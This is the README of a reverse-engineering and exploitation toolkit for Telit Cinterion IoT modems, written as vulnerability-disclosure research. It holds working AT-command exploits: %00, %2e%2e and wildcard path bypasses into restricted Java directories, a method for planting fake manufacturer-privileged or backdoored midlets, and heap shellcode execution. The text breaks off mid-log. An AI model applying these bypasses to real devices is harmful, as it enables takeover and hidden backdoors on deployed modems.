``` # Telit Cinterion toolkit [DGL61-W, ELS61-E] # (c) Security Explorations 2016-2019 Poland # (c) AG Security Research 2019-2023 Poland ``` *Last update: 19-04-2023* # INTRODUCITON This Proof of Concept demonstrates initial research results pertaining to the security analysis of Telit Cinterion IoT (formerly of Thales ownership) and DGL61-W device in particular. Initial approach to device testing assumed minimal interaction with the mobile network. The goal was not to expose information to any 3rd party (such as the mobile network operator or attackers present there) about the research or the potential vulnerabilities and attack directions explored. As such, if there was a need to send a message to the target device, proper means has been taken to make it unreadable to any 3rd party (either through implementing encrypted SMS layer or through local SMS sending). ## MOTIVATION In 2020, a vulnerability (CVE-2020-15858) in multiple Cinterion devices was discoverd by Adam Laurie and Grzegorz Wypych of IBM X-Force Red: https://securityintelligence.com/posts/new-vulnerability-could-put-iot-devices-at-risk/ The issue was described as allowing for organizational secrets theft and Java aplication code access. The use of Java triggered my attention in particular. Historically, Java flaws could be successfully exploited for a more in-depth investigation of many interesting targets (mobile phones, smart cards, set-top-boxes, cloud environments, databases, etc.). I had a feeling this could be the case for Cinterion as well. ## TARGET DEVICE Target device that has been the subject of the testing had the following SW version: ``` telcin> devinfo Cinterion PLS62-W REVISION 02.010 A-REVISION 01.000.05 ``` Below, information about device boot loader is shown: ``` telcin> bootinfo Bootloader filename : XMM7160_BOOTLOADER_VERSION_1732_401 Bootloader version name : 1732.401_M1S1 Version : 0x6c40191 Version inverted : 0xf93bfe6e ``` The following connections were exposed by the device to the host: ``` telcin> portinfo [0] COM16 (Cinterion ELSx USB Com Port2 (COM16)) [1] COM18 (Cinterion ELSx do_not_use (COM18)) [2] COM15 (Cinterion ELSx USB Com Port1 (COM15)) [3] COM17 (Cinterion ELSx USB Com Port3 (COM17)) ``` By default, connection 2 was always used by the command shell: ``` telcin> connect 2 BAUD RATE: 3000000 connected to [2] COM15 (Cinterion ELSx USB Com Port1 (COM15)) ``` For logging purposes `System.out` console output has been redirected to USB device with the use of the following command: ``` at^scfg="Userware/Stdout","USB2" ``` As a result, `USB Com Port2 (COM16)` could be further used as Java console output (output of `System.out` stream). # TOOL DESCRIPTION Telit Cinterion Toolkit is a reverse engineering tool that has been developed for the purpose of facilitating the investigation of DGL61-W device operation and security. The tool is comprised of two parts: - command shell executed from a computer connected to the target device - Agent midlet installed and executed on a target device ## DIRECTORY STRUCTURE The tool follows directory structure described below: `android\android` - Android app for arbitrary SMS sending (plaintext and encrypted) `android\exploit` - exploit for testing ATSJMLED application `device\DGL61W` - base directory for memory dump `midlet\_gen` - Unsafe class file generator `midlet\agent` - Agent midlet code `midlet\jadgen` - JAD and Agent installer files generators `lib` - Java native modem interface library `atsjmled` - ATSJMLED patcher (generator of SMS proxy code) `asmcodes\asm` - source code for various ASM helpers `asmcodes\gen` - code for generating Java code with assembly routines embedded `asmcodes\out` - output source and data files for generated assembly codes `dmsserver` - custom OMA DMS server `data` - sample output for various reverse engineered data structures extracted from the device `src` - main source code directory `src\mod` - directory where source code for Cinterion specific module can be found `classes` - temporary directory where output classes get generated `scripts` - the scripts directory `pejava` - helper files for Java privilege elevation of Agent midlet `logs` - directory with some logs `FS` - base directory where files downloaded from the device are put (get command) ## BUILDING AND SW DEPENDENCIES The toolkit was primarily developed and tested in the Windows environment. The android based tools are the exception (developed and tested on Linux Ubuntu with Samsung Android phone). Toolkit command shell requires Oracle Java (or Amazon Coretto) along Microsoft Visual Studio to build. Midlets are built with the use of Gemalto M2M Software Development Kit. ASM codes are built with the use of ARM GNU Toolchain. The main package comes prebuilt (with all binaries ready to be used). The code follows the following nomenclature: - `config.bat` script in the root directory defines all required paths for Java and Windows based build there are 3 additional config files in subdirectories for helper tools (`asmcodes`, `midlet`, `midlet\jadgen`) - `vcinit.bat` defines the paths required to build the modem library - `build.bat` script is used to build code from the directory embedding it - `shell.bat` script is used to toolkit launch command line shell - `run.bat` script is used to run independent tools (generators and helpers) ### BUILDING TOOLKIT SHELL Upon adjusting of all the paths in `config.bat`, the following output should be displayed upon successful build of a toolkit shell: ``` c:\_RESEARCH\TELIT.M2M>build 'nmake' is not recognized as an internal or external command, operable program or batch file. *** Compiling source files *** src\helpers\Web.java:38: warning: MessageHeader is internal proprietary API and may be removed in a future release public static class CleanMessageHeader extends MessageHeader { ^ Note: Some input files use unchecked or unsafe operations. Note: Recompile with -Xlint:unchecked for details. 1 warning *** Preparing jar files *** *** cleaning temporary files *** ``` As a result, `shell.jar` file should be generated in the main directory. ### BUILDING MIDLET CODE Upon adjusting of all the paths in `config.bat`, the following output should be displayed upon successful build of a midlet code (Agent midlet): ``` c:\_RESEARCH\TELIT.M2M\midlet>build *** Building ASM codes *** - Compiling athandler - Compiling cntcond - Compiling getcpsr - Compiling getmidr - Compiling getsctlr - Compiling handler - Compiling invoke - Compiling memcopy - Compiling memprobe - Compiling regprobe - Compiling retmagic - Compiling rthook - Compiling template - Compiling trace - Compiling tracefile *** Building GenAsm *** *** Generating ASM codes *** processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\athandler.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\cntcond.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\getcpsr.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\getmidr.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\getsctlr.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\handler.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\invoke.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\memcopy.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\memprobe.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\regprobe.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\retmagic.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\rthook.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\template.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\trace.o processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\tracefile.o *** Building GenJad *** *** Building Midlets *** ## Compiling agent warning: [options] source value 1.3 is obsolete and will be removed in a future release warning: [options] target value 1.3 is obsolete and will be removed in a future release warning: [options] To suppress warnings about obsolete options, use -Xlint:-opti ons. 3 warnings - preverifying - generating Unsafe class - loading class: c:\_RESEARCH\TELIT.M2M\midlet\agent\build\agsecres\midlet\Unsa fe.class - patching method: obj2int * org bytecode 1c ac * new bytecode 1b ac - patching method: int2array * org bytecode 2c b0 * new bytecode 2b b0 - patching method: obj2accessibleisolate * org bytecode 2c b0 * new bytecode 2b b0 - saving class: c:\_RESEARCH\TELIT.M2M\midlet\agent\build\agsecres\midlet\Unsaf e.new 1 file(s) copied. - creating JAR - generating base JAD / JAR output JAR file: c:\_RESEARCH\TELIT.M2M\midlet\agent\agent.jar output JAD file: c:\_RESEARCH\TELIT.M2M\midlet\agent\agent.jad - embedding installer in agent JAD / JAR output JAR file: c:\_RESEARCH\TELIT.M2M\midlet\agent\\..\agent\agent.jar output JAD file: c:\_RESEARCH\TELIT.M2M\midlet\agent\\..\agent\agent.jad c:\_RESEARCH\TELIT.M2M\midlet> ``` Please, note that the `build.bat` command might ned to be executed twice due to some `kartoffel` in the paths setup (sorry for that, I will fix that in some later release). ### BUILDING MODEM LIBRARY If any need arises to change modem library (prebuilt by default), the following output illustrates how to trigger Java native modem library compilation: ``` c:\_RESEARCH\TELIT.M2M>vcinit.bat c:\_RESEARCH\TELIT.M2M>call config.bat ********************************************************************** ** Visual Studio 2022 Developer Command Prompt v17.2.6 ** Copyright (c) 2022 Microsoft Corporation ********************************************************************** [vcvarsall.bat] Environment initialized for: 'x64' c:\_RESEARCH\TELIT.M2M>cd lib c:\_RESEARCH\TELIT.M2M\lib>build c:\_RESEARCH\TELIT.M2M\lib>call ..\config.bat NarzÄ™dzie do konserwacji programĂłw firmy Microsoft (R) 14.32.31332.0 Copyright (C) Microsoft Corporation. Wszelkie prawa zastrzeĹĽone. cl.exe /LD /I "%VSINSTALLDIR%\VC\include" /I "%javadir%\include" /I "%ja vadir%\include\win32" ModemLib.c Microsoft (R) C/C++ wersja kompilatora optymalizujÄ…cego 19.32.31332 dla x64 Copyright (C) Microsoft Corporation. Wszystkie prawa zastrzeĹĽone. ModemLib.c Microsoft (R) Incremental Linker Version 14.32.31332.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:ModemLib.dll /dll /implib:ModemLib.lib ModemLib.obj Trwa tworzenie biblioteki ModemLib.lib i obiektu ModemLib.exp c:\_RESEARCH\TELIT.M2M\lib> ``` ## STARTING The tool can be started by running `shell.bat` script: ``` c:\_RESEARCH\TELIT.M2M>shell # Telit Cinterion toolkit [DGL61-W, ELS61-E] # (c) Security Explorations 2016-2019 Poland # (c) AG Security Research 2019-2023 Poland loaded cinterion [Cinterion toolkit] error: not connected to any device telcin> ``` The shell can be instructed to load a local memory dump for a given device (`-d` option): ``` shell [-d device] where: device : [DGL61W ELS61E] ``` From now on, shell commands can be executed in the toolkit shell. Upon tool startup, the commands included in the `init.scr` script from the `scripts` directory gets automatically executed. The initialization script is used to set several configuration variables and to load tool modules. ## PREDEFINED VARIABLES The following variables have been implemented by the tool: ``` `INVOKE_Ax` - it denotes the x argument to the most recently used `invoke` command `INVOKE_RES` - it denotes the result of the most recently used `invoke` command `FS_DIR` - it denotes the root directory for files downloaded from the device `MODEM_VERBOSE` - it indicates whether data exchanged over modem interface should be displayed `EXPLOIT` - it indicates whether Issues 1 and 2 should be automatically exploited while issuing file system based commands `SMS_RECV_FUN` - it denotes the number for the method simulating SMS reception `SMS_SRCADDR` - it denotes the number used as source of SMS messages `SMS_SCADDR` - it denotes the number used for SMS Service Center address ``` ## COMMANDS DESCRIPTION The list of all commands implemented by the tool can be obtained with the use of `help` command. For each command, brief information about the arguments taken is displayed. Below, more details regarding each command is given: - show available commands with brief arguments' description ``` help [cmd] ``` - redirect shell output to file (or back to console) ``` output console|filename ``` - declare variable of a given name and type ``` var varname str|int ``` - set the value of a given variable ``` set [varname|varname value] ``` - enable / disable echo ``` echo on|off ``` - print a line to the output containing argument ``` print arg1 arg2 ... argn ``` - run commands defined in a script file ``` run arg1 arg2 ... argn ``` - check the number of arguments provided to the script or variable definition break execution and report error if condition is not satisfied ``` assert -a argnum|-v varname [-e errormsg] ``` - load or check status of a loading for a given named module ``` mod module ``` - pure test command ``` test arg ``` - sleep (wait) for given amount of milliseconds ``` sleep milisec ``` - show USB COM ports information ``` portinfo ``` - connect to Cinterion device available at given COM port index ``` connect idx ``` - disconnect from current COM port ``` disconnect ``` - issue AT command ``` at cmd ``` - set modem speed ``` modemspeed [speed] ``` - show device information ``` devinfo ``` - show boot loader information ``` bootinfo ``` - list the contents of given directory (`a:/` by default) ``` ls path ``` - show file system stat command output for given path ``` stat path ``` - show file system gstat output ``` gstat ``` - open file (get file handle as a result) ``` open path ``` - read given number of bytes from file handle ``` read handle size ``` - close file denoted by a handle ``` close handle ``` - download given file from device ``` get path ``` - upload given file to device ``` put local_path dev_path ``` - create file directory on a device ``` mkdir path ``` - remove file directory from device ``` rmdir path ``` - remove file from device ``` del path ``` - copy file on a device ``` copy srcpath dstpath ``` - show information about installed (-i) or running (-r) Java applications ``` appinfo [-i][-r] ``` - install application denoted by given JAD file (midlet_path) ``` install midlet_path ``` - uninstall application denoted by given JAD file (midlet_path) ``` uninstall midlet_path ``` - start application denoted by given JAD file (midlet_path) ``` start midlet_path ``` - stop application denoted by given JAD file (midlet_path) ``` stop midlet_path ``` - show device IMEI ``` imei ``` - show IMSI of a SIM/UICC card ``` imsi ``` - show CCID of a SIM/UICC card ``` ccid ``` - show Java Virtual Machine class information, show visible (-v), hidden (-h), classes with native methods (-n) or classes from a given package (-p), do verbose class dump (-d) ``` cwmclasses [-d][-v][-h][-n][-p pkgname] ``` - show information about given Java Virtual Machine class ``` cwmclass classname ``` - show restricted Java Virtual Machine packages ``` restrictpkgs ``` - show Java Virtual Machine bytecodes and their dispatch addresses ``` bytecodes ``` - show UtaOS threads ``` threads ``` - show information about given UtOS thread ``` thread threadname ``` - show UtaOS queues ``` queues ``` - show information about UtaOS queues ``` queue queuename ``` - show information about test interfaces ``` interfaces ``` - show more detailed information about given test interface ``` interface ifname ``` - show information about implemented AT commands and their dispatch addresses ``` atcmds ``` - show information about system URCs and their dispatch addresses ``` sysurcs ``` - show information about MBIM specific URCs and their dispatch addresses ``` mbimurcs ``` - show information about MBIM commands ``` mbimcmds ``` - show information about MBIM commands ``` mbimcmd desc ``` - show information about signal queues ``` sigqueues ``` - show information about given signal queue ``` sigqueue id ``` - show information about file systems ``` filesystems ``` - show more detailed information about given file system ``` filesystem fsname ``` - show information about tracing subsystem ``` bbsystrace ``` - show system config information ``` scfginfo ``` - show information about handles ``` handles ``` - show more detailed information about given handle ``` handle name ``` - show some information about CPS apis ``` cpsapis ``` - show heap information (not working) ``` heapinfo ``` - check midlet agent install / execution status ``` agent ``` - ping agent midlet ``` ping ``` - show Java isolates information ``` isolates ``` - show Java suites information ``` suites ``` - show Java permission for given midlet ``` perms midlet_name ``` - print memory content for given addr and size ``` dmem addr size ``` - write given memory content to device ``` wmem addr hexdata ``` - extract memory from device ``` extractmem ``` - print ARM CPU information ``` cpuinfo ``` - enable more detailed logging, clear (-c) the contents of a trace log ``` tracelog [-c] ``` - invoke native code at a memory address with given arguments ``` invoke addr a1 a2 a3 a4 a5 a6 a7 a8 ``` - allocate heap memory ``` malloc size ``` - free heap memory ``` free addr ``` - show agent variable memory address ``` avarmem ``` - set the value of a given agent variable (it can denote an int value or an array of data) ``` avset -i varid [-v val | -d hexstr] ``` - get the value of a given agent variable ``` avget -i varid ``` - setup tracing to `a:/trace.txt` file, start string the trace log upon encountering the given 4 byte prefix (log_init_chars) ``` tracefile [-i log_init_chars] ``` - the command for enabling , launching product test functionality (not working) ``` ptest [-s devpath -v val][-e][-d][-c cmd] ``` - select memory mode between device or offline (from file) memory ``` memory mode ``` - search for a given string in memory ``` srchs string ``` - search for LDR instruction locations referring to given memory location ``` srchldr addr ``` - search for ADR instruction locations referring to given memory location ``` srchadr addr ``` - search for memory locations containing given int (address) value ``` srchw value ``` - search for ADR instruction locations referring to given memory location ``` srchbl addr ``` - command for testing the parsing of a hook expression ``` testexp expression ``` - setup a dummy hook procedure, a dummy hook is composed of the address location, which can be hooked that contains pointer to dummy (no op) subroutine call ``` dummyproc ``` - setup and control runtime hook ``` hook [-c addr -f entry|exit -h handlers][-l][-e id][-d id][-i id][-u id][-p id] ``` - simulate reception of SMS PDU (provide user data as hex or string) ``` recvsms [-r pdu][-p pid][-c dcs][-d hexdata | -s string] ``` - simulate reception of OMA DM message (notification or provisioning) ``` recvdmmsg [-n serverid][-p serverurl] ``` - load or store OMA DM config from / to NVM ``` omadmcfg [-l file][-s file][-p] ``` - display WBXML for OMA DM provisioning message and given url value ``` provdoc url ``` - show system heap information such as the first and last chunk addresses along total allocation size ``` heapinfo ``` - show heap chunk information identified by given ptr ``` ptrinfo ptr ``` - show heap chunk information for a given number of chunks identified by a given ptr (in a forward or backward fashion) ``` heapchain ptr [-f][-b][-c cnt] ``` - show state of the heap starting from a given ptr, save or load heap state to file (-s or -l), filter displayed chunks by expression (-f) or match for the presence of a given word (-m) in the allocated chunks ``` heapstate [-p ptr] [-l file] [-s file][-f filter][-m match_desc] ``` - simulate reception of an SMS fragment (a part of a concatenated SMS) ``` recvfrag -f frag_desc -i id [-d hexdata | -s string] ``` - show global state of a concatenated SMS reception (number of fragments received, `concatmem`, etc.) ``` smsfrags ``` - show information about OMA DM structure holding various implementation pointers ``` dmstruc ``` - execute `createdirtest` asmcode on the device ``` createdirtest ``` - dump OMA DM tree content ``` dmtree ``` - show information about OMA DM tree plugin identified by addr ``` dmplugin addr ``` - search OMA DM tree plugin entries for a node identified by given uri ``` dmsrch addr uri ``` - set OMA DM tree's server entry to given uri ``` dmserver addr uri ``` - generate the content of SMS fragment used for triggering Issue 18 exploitation ``` genexpfrag alert_callback_addr ``` - check result of a file / directory open with the use of Java based API (`Connector.open` call) ``` checkopen path ``` - exploit Java vulnerabilities and make Agent midlet privileged (fast track exploit path for `ELS61-E` and devices missing `ATCommand` class) ``` pejava ``` ## INITIAL VULNERABILITIES Below, brief information pertaining to initial vulnerabilities discovered in DGL61-W modem device is provided. Please note that some issues might require more investigation and/or checking. ### ISSUE 1 - ACCESS TO RESTRICTED FILES By default, access to certain file extensions such as `.jad` and `.jar` is prohibited. This is illustrated by the log below: ``` telcin> set EXPLOIT 0 telcin> ls [a:/] ERROR: invalid access ATSJMLED.jad --- -1 ERROR: invalid access ATSJMLED.jar --- -1 ERROR: invalid access agent.jar --- -1 ERROR: invalid access agent.jad --- -1 telcin> set MODEM_VERBOSE 1 telcin> get a:/ATSJMLED.jad -> CMD at^sfsa="stat","a:/ATSJMLED.jad" <- RSP ^SFSA: 13 ERROR ERROR: invalid access telcin> get a:/ATSJMLED.jar -> CMD at^sfsa="stat","a:/ATSJMLED.jar" <- RSP ^SFSA: 13 ERROR ERROR: invalid access ``` However, upon appending the %00 character sequence corresponding to the zero byte, it is possible to such access restricted files: ``` telcin> set EXPLOIT 1 telcin> get a:/ATSJMLED.jad -> CMD at^sfsa="stat","a:/ATSJMLED.jad%00" <- RSP ^SFSA: 350 ^SFSA: "18/01/01,00:00:54" ^SFSA: 1 ^SFSA: 0 OK -> CMD at^sfsa="open","a:/ATSJMLED.jad%00",64 <- RSP ^SFSA: 0,0 OK -> CMD at^sfsa="read",0,1500 <- RSP downloading a:/ATSJMLED.jad [###############################] -> CMD at^sfsa="close",0 <- RSP ^SFSA: 0 OK ``` The issue with %00 character sequence is more generic though. The issue can be exploited to escape the root dir designated for Java VM applications. More specifically, the use of %2e%2e character sequence makes it possible to list directories above the current application root: ``` telcin> ls a:/%2e%2e/ [a:/%2e%2e/] roota/ dh- 0 rootb/ dh- 0 ``` ### ISSUE 2 - ACCESS TO RESTRICTED DIRECTORIES By default, access to certain file extensions such as those containing `cwmjava` name is prohibited. This is illustrated by the log below: ``` telcin> set EXPLOIT 0 telcin> set MODEM_VERBOSE 1 telcin> ls a:/cwmjava -> CMD at^sfsa="ls","a:/cwmjava",1 <- RSP ^SFSA: 101 ERROR ERROR: invalid path ``` However, upon including the `*` character (making directory name a pattern matching restricted name) it is possible to access such restricted directories: ``` telcin> ls a:/cwmjava -> CMD at^sfsa="ls","a:/cwmjav*%00",1 <- RSP ^SFSA: "certstore/" ^SFSA: "00000003.ap" ^SFSA: "00000003.ii" ^SFSA: "00000003.jar" ^SFSA: "00000003.ss" ^SFSA: "00000005.ap" ^SFSA: "00000005.ii" ^SFSA: "00000005.jar" ^SFSA: "00000005.ss" ^SFSA: "FFFFFFFFsettings.db" ^SFSA: "_main.ks" ^SFSA: "_suites.dat" ^SFSA: "_trans.dat" ^SFSA: "psk/" ^SFSA: "storage/" ^SFSA: "cfg/" ^SFSA: "jrc/" ^SFSA: "amsbackup/" ^SFSA: "backup/" ^SFSA: "00000007.ii" ^SFSA: "00000007.jar" ^SFSA: "00000007.ap" ^SFSA: "00000007.ss" ^SFSA: "0000000d.ii" ^SFSA: "0000000b.ii" ^SFSA: "0000000f.ii" ^SFSA: "0000000d.ss" ^SFSA: "0000001d.ii" ^SFSA: "0000000b.ss" ^SFSA: "00000007.bkp" ^SFSA: "0000000f.ss" ^SFSA: "00000007.new" ^SFSA: "0000001d.ss" ^SFSA: "00000009.ii" ^SFSA: "00000009.jar" ^SFSA: "00000009.ap" ^SFSA: "00000009.ss" ^SFSA: 0 OK ``` #### NOTES OF ISSUES 1 and 2 ORIGIN The origin of the issues related to possible access to restricted portions of device's filesystem (such as `a:/cwmjava`, etc.) was initially assumed to have its origin in a code of `JRC` midlet and its handling of `SFSA` AT command. An investigation of the code didn't indicate that the issue has its origin there though: ``` public static int a(JRC_Context jrc_context, String s, boolean flag) { JRC_ParameterCharacterMode jrc_parametercharactermode = new JRC_ParameterCharacterMode(); if(s == null) return 102; int i; if((i = (s = s.trim()).length()) == 0) return 102; if(jrc_parametercharactermode.getCurrentSetting(jrc_context) == JRC_ParameterCharacterMode.GSM && i + 3 > 127 || jrc_parametercharactermode.getCurrentSetting(jrc_context) == JRC_ParameterCharacterMode.UCS2 && i + 3 > 31) return 105; try { s = a(s, flag); <----- resolving of hex sequences embedded in path ("%" char) } catch(IllegalArgumentException _ex) { return 101; } if(s.toLowerCase().indexOf("cwmjava") != -1) <----- check for restricted dir return 102; if(s.toLowerCase().indexOf(".cinterion.internal") != -1) <----- check for restricted dir return 101; return !(s = s.toUpperCase()).endsWith(".JAD") && <----- check for restricted files !s.endsWith(".JAR") ? 0 : 13; } ``` The code above deals with `%` char resolution and does some checks against Java internal directory and forbidden file extensions (JAD and JAR). A sequence dealing with `*` char handling embedded in path names couldn't be spotted though... An additional command was implemented to verify how Java VM handles requests to open files (how `file://` protocol handler is implemented internally). Here is the test code: ``` public static void check_open(ByteInput bi,ByteOutput bo) throws Throwable { Log.msg("check_open"); int open_res=-1; int list_res=-1; try { String path=bi.read_string(); Log.msg("path: "+path); FileConnection fc=(FileConnection)Connector.open("file:///"+path); if (fc!=null) { if (fc.exists()) { open_res=1; if (fc.isDirectory()) { list_res=0; try { Enumeration e=fc.list("*",true); if (e!=null) { while(e.hasMoreElements()) { e.nextElement(); list_res++; } } } catch(Throwable t2) {} } } } } catch(Throwable t) { Log.msg("check_open exception: "+t); } bo.write_4(open_res); bo.write_4(list_res); } ``` And below, its results obtained with respect to various paths are provided: ``` telcin> ls [a:/] ATSJMLED.jad --r 350 ATSJMLED.jar --r 345412 agent.jar --- 61827 agent.jad --- 416 telcin> checkopen a:/invalid_file [a:/invalid_file] * open_res: -1 * list_res: -1 telcin> checkopen a:/agent.jad [a:/agent.jad] * open_res: 1 * list_res: -1 telcin> checkopen a:/cwmjava [a:/cwmjava] * open_res: 1 * list_res: 35 telcin> checkopen a:/cwmjav* [a:/cwmjav*] * open_res: 1 * list_res: 35 telcin> ls a:/cwmjava [a:/cwmjava] certstore/ d-- 0 00000003.ap --r 4628 00000003.ii --r 285 00000003.jar --r 588486 00000003.ss --r 42 00000005.ap --r 4360 00000005.ii --r 277 00000005.jar --r 424852 00000005.ss --r 42 FFFFFFFFsettings.db --r 116 _main.ks --r 382 _suites.dat --- 1236 _trans.dat --- 522 psk/ d-- 0 storage/ dh- 0 cfg/ d-- 0 jrc/ d-- 0 amsbackup/ d-- 0 backup/ d-- 0 00000007.ii --r 151 00000007.jar --- 342946 00000007.ap --r 1224 00000007.ss --r 1028 0000000d.ii --- 261 0000000b.ii --- 139 0000000f.ii --- 139 0000000d.ss --- 42 0000001d.ii --- 261 0000000b.ss --- 1028 00000007.bkp --r 345412 0000000f.ss --- 1028 00000007.new --- 342946 0000001d.ss --- 42 0000001D.ap --- 1324 0000001D.jar --- 61827 telcin> checkopen a:/cwmjav*/00000003.jar [a:/cwmjav*/00000003.jar] * open_res: 1 * list_res: -1 telcin> checkopen a:/c*/00000003.jar [a:/c*/00000003.jar] * open_res: 1 * list_res: -1 telcin> checkopen a:/*/00000003.jar [a:/*/00000003.jar] * open_res: -1 * list_res: -1 telcin> checkopen a:/d*/00000003.jar [a:/d*/00000003.jar] * open_res: -1 * list_res: -1 telcin> checkopen a:/cwmjav%41/00000003.jar [a:/cwmjav%41/00000003.jar] * open_res: 1 * list_res: -1 telcin> checkopen a:/cwmjav%61/00000003.jar [a:/cwmjav%61/00000003.jar] * open_res: 1 * list_res: -1 telcin> checkopen a:/cwmjav%62/00000003.jar [a:/cwmjav%62/00000003.jar] * open_res: -1 * list_res: -1 telcin> ``` It looks that Java VM `file://` protocol handler resolves paths with respect to both `%` and `*` characters (!). This would explain the ability to bypass JRC checks against access to internal dirs. It also implicates that the issues has its origin in Java VM implementation. ### ISSUE 3 - NO INTEGIRITY / CERTIFICATE CHECK FOR ALREADY INSTALLED PRIVILEGED APPLICATIONS The `a:/cwmjava` directory contains repository of Java applications and their configuration: ``` telcin> ls a:/cwmjava/ [a:/cwmjava/] certstore/ d-- 0 00000003.ap --r 4628 00000003.ii --r 285 00000003.jar --r 588486 00000003.ss --r 42 00000005.ap --r 4360 00000005.ii --r 277 00000005.jar --r 424852 00000005.ss --r 42 FFFFFFFFsettings.db --r 116 _main.ks --r 382 _suites.dat --- 1236 _trans.dat --- 522 psk/ d-- 0 storage/ dh- 0 cfg/ d-- 0 jrc/ d-- 0 amsbackup/ d-- 0 backup/ d-- 0 00000007.ii --r 151 00000007.jar --- 342946 00000007.ap --r 1224 00000007.ss --r 1028 0000000d.ii --- 139 0000000b.ii --- 139 0000000f.ii --- 139 0000000d.ss --- 1028 0000001d.ii --- 261 0000000b.ss --- 1028 00000007.bkp --r 345412 0000000f.ss --- 1028 00000007.new --- 342946 0000001d.ss --- 42 00000009.ii --- 261 00000009.jar --- 57053 00000009.ap --- 1324 00000009.ss --- 42 ``` Upon installation, each Java application (their `jar` file) is copied into `a:/cwmjava` directory. At the time of installation, `JAD` and system properties are transferred into the following files (among others): - `*.ii` files these files contain information about app JAD / JAR locations, its privilege domain and certificates - `*.jar` files these are just mirrors of the installed JAR files - `*.ss` files these files contain application permissions There is also `_suites.dat` files that serves as the primary DB for applications installed: ``` telcin> suites [agent] suite_id: 9 component_id: 0 storage_id: 0 folder_id: 5 is_enabled: 0 is_trusted: 0 is_temporary: 0 midlets_num: 1 install_time: 0 jad_size: 0 jar_size: 57053 suite_size: 59544 jar_hash_len: -1 component_type: 0 p_jar_hash: 0 midlet_class: agsecres.midlet.Main display_name: agent icon_name: suite_vendor: AGSecRes suite_version: 1.0 path_to_jar: F:/roota/cwmjava/00000009.jar path_to_settings: ext_app_id: -1 [ATSJMLED] suite_id: 7 component_id: 0 storage_id: 0 folder_id: 5 is_enabled: 0 is_trusted: 0 is_temporary: 0 midlets_num: 1 install_time: 0 jad_size: 0 jar_size: 345412 suite_size: 345412 jar_hash_len: -1 component_type: 0 p_jar_hash: 0 midlet_class: Main display_name: ATSJMLED icon_name: suite_vendor: Mullenger suite_version: 0.1.27 path_to_jar: F:/roota/cwmjava/00000007.jar path_to_settings: ext_app_id: -1 ... ``` The system assumes that once the application is installed in a `cwmjava` directory, there is no need to verify if it is indeed trusted (whether it has been signed by a valid certificate or if it's content has been changed). As a result, one can exploit Issue 1 and 2 and: - proceed with a custom install procedure for the midlet mimicking a trusted one (such as the one with manufacturer domain property and certificate corresponding to Cinterion) ``` //manufacturer domain public static final String MANUFACTURER_DOMAIN = "manufacturer"; //Cinterion CA public static final String CINTERION_CA = "C=DE;ST=Berlin;L=Berlin;O=CINTERION;OU=CINTERION;CN=ehs5"; ``` As a result, fully privileged Midlet could be installed in the system (with manufacturer privileges). - one can change the operation of system midlets (their bytecode), this can serve as a potential, system, hidden backdoor location ### ISSUE 4 - APPLICATION START AND INSTALL PRIVILEGES GRANTED FOR UNTRUSTED APPLICATIONS By default, untrusted midlets (those not signed with any certificate in particular) get access to application installer and AMS: ``` telcin> perms ATSJMLED [ATSJMLED] * javax.microedition.content.ContentHandler [1] * javax.microedition.io.Connector.ssl [1] * javax.microedition.midlet.MIDlet.install [1] * javax.microedition.io.Connector.datagramreceiver [1] * javax.microedition.location.LandmarkStore.write [1] * javax.microedition.io.Connector.file.read [1] * javax.microedition.io.Connector.datagram [1] * javax.microedition.io.Connector.serversocket [1] * javax.microedition.location.LandmarkStore.management [1] * javax.microedition.location.Orientation [1] * javax.microedition.location.Location [1] * javax.microedition.location.LandmarkStore.category [1] * com.sun.ams.SuiteInstaller.start [1] * javax.microedition.location.LandmarkStore.read [1] * javax.microedition.io.PushRegistry [1] * javax.microedition.location.ProximityListener [1] * javax.microedition.io.Connector.socket [1] * javax.microedition.io.Connector.http [1] * javax.microedition.io.Connector.https [1] * com.sun.ams.SuiteInfo.remove [1] * javax.microedition.io.Connector.comm [1] * javax.microedition.io.Connector.file.write [1] ``` This can be abused by the rogue application to install arbitrary, potentially malicious applications in the system. The key here is the potential ability to install application content that can slip a review by the application installer or digital signature check. This is due to the fact that the applications may install code in a dynamic way - their code may come from Internet. ### ISSUE 5 - ACCESS TO API DEFINED IN RESTRICTED PACKAGES The Java Virtual Machine defines several, vendor specific package to which access is restricted: ``` telcin> restrictpkgs java/io java/lang java/lang/ref java/util javax/microedition/io com/sun/cldc/i18n/uclc com/sun/cldc/i18n com/sun/cldc/i18n/j2me com/sun/cldc/io com/sun/cldc/util/j2me com/sun/cldchi/io com/sun/cldchi/ref com/sun/cldchi/jvm com/sun/cldc/isolate com/oracle/util/logging com/sun/midp/log com/sun/midp/appmanager com/sun/midp/io/j2me com/sun/midp/io/j2me/comm com/sun/midp/io/j2me/datagram ... ``` While `com.sun.cldc.isolate` package is on the list, one can still call methods from the Isolate class defined in the said package (such as `Isolate.getIsolates()`). ### ISSUE 6 - TARGET OS WITH EXECUTABLE MEMORY The target CPU doesn't implement any memory protection for dynamically (heap) allocated memory. The following sample shows execution of a script that allocates memory on the heap, fills it with ARM opcodes corresponding to `retmagic.s` subroutine and then executes it: ``` telcin> run heapexec.scr telcin> telcin> malloc 0x40 res: 0x83ba1fb8 telcin> telcin> wmem $INVOKE_RES 010000ea52534741ddccbbaafe5f2de910001fe5fe9fbde 80000a0e10000a0e1 writing data to 83ba1fb8 00000000: 01 00 00 ea 52 53 47 41 dd cc bb aa fe 5f 2d e9 ....RSGA....._-. 00000010: 10 00 1f e5 fe 9f bd e8 00 00 a0 e1 00 00 a0 e1 ................ telcin> telcin> invoke $INVOKE_RES [INVOKE 0x83ba1fb8] - a1 = 0x00000000 - a2 = 0x00000000 - a3 = 0x00000000 - a4 = 0x00000000 - a5 = 0x00000000 - a6 = 0x00000000 - 